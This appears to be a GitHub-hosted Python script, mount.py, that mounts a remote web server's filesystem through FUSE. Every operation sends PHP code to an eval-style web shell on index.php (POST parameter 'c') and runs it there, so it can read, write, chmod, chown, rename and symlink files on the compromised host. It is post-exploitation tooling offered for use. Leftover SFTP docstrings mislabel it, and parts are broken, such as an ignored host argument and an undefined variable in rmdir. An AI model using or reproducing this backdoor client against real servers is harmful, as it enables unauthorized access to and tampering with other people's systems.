-
Notifications
You must be signed in to change notification settings - Fork 112
/
Copy pathmount.py
184 lines (150 loc) · 5.14 KB
/
mount.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
#!/usr/bin/env python
from __future__ import print_function, absolute_import, division
import logging
from sys import argv, exit
from time import time
# from fuse import FUSE, Operations, LoggingMixIn
from fuse import FUSE, Operations, LoggingMixIn
import requests
import string
import random
host = "127.0.0.1"
port = 80
path = "index.php"
url = "http://%s:%d/%s" % (host, port, path)
param = "c"
def random_string(charset, length):
return "".join([random.choice(charset) for i in range(length)])
def eval_php_code(code):
token = random_string(string.letters, 0x10)
code = "error_reporting(0);echo '%s';%s;echo '%s';die();" % (token, code, token)
data = {
param:code,
}
response = requests.post(url, data=data)
result = response.text.split(token)
if len(result) == 3:
return result[1]
return ""
class WebFS(LoggingMixIn, Operations):
'''
A simple SFTP filesystem. Requires paramiko: http://www.lag.net/paramiko/
You need to be able to login to remote host without entering a password.
'''
def __init__(self, *args, **kw):
#FUSE.__init__(self, *args, **kw)
#self.root = '/var/www/html'
pass
def chmod(self, path, mode):
code = " \
echo chmod(base64_decode('%s'), %d); \
" % (path.encode("base64").rstrip("\n"), mode)
return eval_php_code(code) == "1"
def readdir(self, path, fh):
token = random_string(string.letters, 0x10)
code = " \
echo join(scandir(base64_decode('%s')), '%s'); \
" % (path.encode("base64").rstrip("\n"), token)
return list(eval_php_code(code).split(token))
def getattr(self, path, fh=None):
token = random_string(string.letters, 0x10)
code = " \
echo join(stat(base64_decode('%s')), '%s'); \
" % (path.encode("base64").rstrip("\n"), token)
result = eval_php_code(code).split(token)
if len(result) == 1:
return {}
data = {
'st_atime':int(result[8]),
'st_mtime':int(result[9]),
'st_gid':int(result[5]),
'st_uid':int(result[4]),
'st_mode':int(result[2]),
'st_size':int(result[7]),
}
return data
def read(self, path, size, offset, fh):
code = " \
$file = fopen(base64_decode('%s'), 'rb'); \
fseek($file, %d); \
$data = fread($file, %d); \
echo $data; \
fclose($file); \
" % (path.encode("base64").rstrip("\n"), offset, size)
return eval_php_code(code)
def write(self, path, data, offset, fh):
code = " \
$file = fopen(base64_decode('%s'), 'rb'); \
fseek($file, %d); \
$data = fwrite($file, base64_decode('%s')); \
echo $data; \
fclose($file); \
" % (
path.encode("base64").rstrip("\n"),
offset,
data.encode("base64").rstrip("\n"),
)
return eval_php_code(code)
def readlink(self, path):
code = " \
echo readlink(base64_decode('%s')); \
" % (path.encode("base64").rstrip("\n"))
return eval_php_code(code)
def mkdir(self, path, mode):
code = " \
echo mkdir(base64_decode('%s'), %d); \
" % (path.encode("base64").rstrip("\n"), mode)
return eval_php_code(code) == "1"
def rmdir(self, path):
code = " \
echo rmdir(base64_decode('%s'), %d); \
" % (path.encode("base64").rstrip("\n"), mode)
return eval_php_code(code) == "1"
def chown(self, path, uid, gid):
code = " \
echo chown(base64_decode('%s'), %d) && chgrp(base64_decode('%s'), %d); \
" % (
path.encode("base64").rstrip("\n"), uid,
path.encode("base64").rstrip("\n"), gid,
)
return eval_php_code(code) == "1"
def create(self, path, mode):
code = " \
$file = fopen(base64_decode('%s'), 'w'); \
echo fclose($file); \
" % (
path.encode("base64").rstrip("\n"), mode,
)
return eval_php_code(code) == "1" and self.chmod(path, mode)
def rename(self, old, new):
code = " \
echo rename(base64_decode('%s'), base64_decode('%s')); \
" % (
old.encode("base64").rstrip("\n"),
new.encode("base64").rstrip("\n"),
)
return eval_php_code(code) == "1"
def destroy(self, path):
return True
def symlink(self, target, source):
code = " \
echo symlink(base64_decode('%s'), base64_decode('%s')); \
" % (
target.encode("base64").rstrip("\n"),
source.encode("base64").rstrip("\n"),
)
return eval_php_code(code) == "1"
'''
def truncate(self, path, length, fh=None):
return self.sftp.truncate(path, length)
def unlink(self, path):
return self.sftp.unlink(path)
def utimens(self, path, times=None):
return self.sftp.utime(path, times)
'''
if __name__ == '__main__':
if len(argv) != 3:
print('usage: %s <host> <mountpoint>' % argv[0])
exit(1)
logging.basicConfig(level=logging.DEBUG)
fuse = FUSE(WebFS(argv[1]), argv[2], foreground=True, nothreads=True)